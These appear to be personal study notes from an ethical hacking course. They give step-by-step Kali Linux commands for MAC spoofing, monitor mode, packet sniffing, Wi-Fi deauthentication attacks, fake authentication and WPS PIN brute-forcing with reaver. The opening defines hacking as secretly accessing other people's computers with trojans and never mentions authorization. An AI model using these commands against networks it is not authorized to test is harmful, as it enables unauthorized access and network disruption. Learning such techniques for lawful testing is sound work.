**Ethical Hacking**

Ethical Hacking is all about breaking through stuff which we are not supposed to, and accessing host computer without even the host knowing about it

This is all done with the help of Trojan horses and other malicious code [do note that this stuff looks like legit but it isn’t]

At the end of the day hacking is nothing but inserting a malicious code [written in any other programming language example: C, Python, JavaScript etc.] to gain access into a computer.

Course content:

**1) Network Hacking:** It’s all about Network devices, Wi-Fi devices, Wi-Fi passwords, intercept information of devices in the same network

**2) Gaining Access:** Gaining access to servers and personal computers, firstly we gather comprehensive information about target, discover vulnerabilities and exploit them to gain full control over the targets machine, next we learn how to generate undetectable backdoors and use social engineering [websites, links, files which look to be legit but not] to deliver them to your target, next we learn how to spoof [looks like it come from a known or familiar source but not] emails and chat

**3) Post Exploitation:** in this section we will learn what can be done after gaining access into a network [learning how to interact with filesystem, operating system, how to execute system commands, record keystrokes, open web cam, and even use hacked computer as a pivot to hack into other computers.

**4) Web site hacking section:** how websites work, how to gather comprehensive information about a target website and how to discover and exploit number of dangerous vulnerabilities that allow you to gain full control over the target website

**5) Security:** How to secure systems and how to secure ourselves from hackers

**1) Network Hacking (pre-connection attacks):**

***MAC (Media Access Control) address:*** MAC address is a hardware address to a wifi interface which is given by the hardware manufacturer during manufacturing

***MAC addresses can be changed:***

MAC addresses of a wifi adapter can be changed temporarily but they will be retured to original state once rebooted.

***Advantages of changing MAC address:***

1) You can access information which only specific mac addresses can

2) You can be incognito in a network

3) You can still access and send data into the network

***How to change MAC address:***

MAC addresses can be changed in kali linux with the help of "ifconfig" command.

"ifconfig" command gives information about what devices are connected onto a network and what are its properties and addresses of them

***CHANGING OF MAC ADDRESS:***

1) type "ifconfig"

2) select which device to change mac address of

3) type "ifconfig (network\_device) down" // to change mac address you need to turn that off

4) type "ifconfig (network\_device) hw ether (mac address ex: 00:11:22:33:44:55)" // ether is nothing but mac address and we are opting to change that hw is hardware (mac address is the actual address you want to be changed to)

***Difference between managed and monitor mode in networking:***

Each and every wifi device is set to managed mode in which network manager sets the pathway of packages so that packages are sent ot correct destinations

So in this way you can't look into another packages in the wifi

To do that you need to change network mode to monitor mode

***To change managed mode to monitor mode:***

1) type "iwconfig" // Differentiate between wired and wireless networks and look its properties

"iwconfig" looks like this

lo no wireless extensions.

eth0 no wireless extensions.

wlan0 IEEE 802.11 ESSID:off/any

Mode:Managed Access Point: Not-Associated Tx-Power=15 dBm

Retry short limit:7 RTS thr:off Fragment thr:off

Encryption key:off

Power Management:off

2) type "ifconfig (wireless\_device ex: wlan0) down" // to turn off that device so that you can change its properties

3) type "airmon-ng check kill" // check and kill all the processing accessing this network device

4) type "iwconfig (network\_device ex: wlan0) mode monitor" // mode of the network will be changed to monitor mode

"iwconfig" looks like this

lo no wireless extensions.

eth0 no wireless extensions.

wlan0 IEEE 802.11 ESSID:off/any

Mode:Monitor Access Point: Not-Associated Tx-Power=15 dBm

Retry short limit:7 RTS thr:off Fragment thr:off

Encryption key:off

Power Management:off

5) turn on the network device with "ifconfig (network\_device ex: wlan0) up"

6) check the mode of the network with the "iwconfig"

***To sniff the packets:***

Packet sniffing is nothing but capturing all the packets in the air sent by different devices

to sniff them:

1) type "airodump-ng (wireless\_device ex: wlan0)" // this command is a program from the aircrack ng suite to capture all the packets (including all the information about networking) coming from the various wireless networks

bssid shows the mac address of the router

essid shows the name of thr router

pwr shows the signal strength coming from the router

beacons shows the frames sent by the network (to broadcast its existence even a hidden network sents the beacons)

#data shows the data frames which are useful to us

#/s shows the packets collected in the last seconds

MB shows the maximum speed supported by the network

ENC shows the encryption of the network

CIPHER shows the cipher used in the network

AUTH shows the authorization of the network

2) this program will keep on running and will not stop unless and untill you say it to

3) press control-c to stop (any program in kali is stopped in this way)

***Targetted packed sniffing:***

1) To sniff packets of a particular network we use "airodump-ng" command along with other parameters to it

2) type "airodump-ng --bssid (mac\_address\_of\_ap ex: 00:11:22:33:44:55) --channel (channel\_no\_of\_the\_ap\_from\_the\_command ex: 2) --write (file\_name\_in\_which\_you\_want\_to\_store\_packets\_into) (wireless\_device ex: wlan0)"

This command returns

BSSID,station,pwr,rate,lost,frames,probe

bssid shows the mac address of the router

station shows the mac address of the client connected to the router

pwr shows the signal strength of the client

rate shows the speed

lost shows the amount of data lost

frames shows the amount of packets collected

probe shows the client is still searching for the network

3) To look into those packets we have another command called "wireshark"

4) Type "wireshark" to view those packets

5) But these packets are encrypted with key so we can't open them yet.

6) When we connect to routers without encryption we can view all the packets without the key.

***deauthentication attack:***

This attack is done on wifi devices to disconnect them from the network without requiring the password of the network

This is done by pretending ourselves to disconnect and a package is sent to the ap now pretending ap we sent those disconnection packets to target.

1) check the mac address of ap and client copy them

2) Turn on monior mode

3) Type "aireplay-ng --deauth (no.of packets to be sent to client literally time to be disconnected ex: 100000) -a (mac address of ap) -c (mac address of client) (wireless\_device ex: wlan0)

This attack will run only if airodump-ng is running against the target ap.

Networking Hacking (gaining access):

***Breaking encrption of WEP (Wired Equivalent privacy):***

Wired Equivalent privacy encryption is an old encryption that can be easily be broken. This used an algorithm called RC4.

***Fake Authentication attack:***

Fake authentication attack is nothing but pleading the router to consider us as by default router does not consider clients which are not connecting to us but in this attack we pleading the router to consider us and associate with it but this does not allow us to connect with and gain access to internet router only considers

1) type aireplay-ng –fakeauth (no. Of times to authenticate fake ex: 0) -a (mac address of ap) -h (mac address of our network device) (network\_device ex wlan0)

2) Network device will be associated with the ap

***Breaking encryption of WPA / WPA2:***

WPA and WPA2 are both similar to each other WPA uses TKIP and WPA2 uses CCMP algorithms to encrypt data.

WPS is a feature with which we can exploit it and can gain access to the network without actually requiring the key of the router. Authentication is done with the help of a 8 digit pin and we can try all the possible outcomes of this 8 digit pin and can gain access to the network and can crack the literal WPA password with this

Note: This only works if router is set to WPS and not on PBC (Push button Authentication)

***Hacking WPA without a wordlist:***

Check whether router has WPS enabled

1) wash –interface (network\_device)

Associate with the target network using fake authentication attack

2) aireplay-ng –fakeauth (time ex: 100) -a (mac\_address\_of\_ap) -h (mac\_address- of our network\_device) (network\_device)

Note: First run reaver so that it can start bruteforcing before authentication so that it will be ready for that

Brute-forcing the wps pin of router

3) reaver –bssid (mac address of ap) –channel (channel of ap) –interface (wireless-device) –vvv –no-associate

Note: --vvv is used to print what is happening during the process

Note: latest version of reaver has some bugs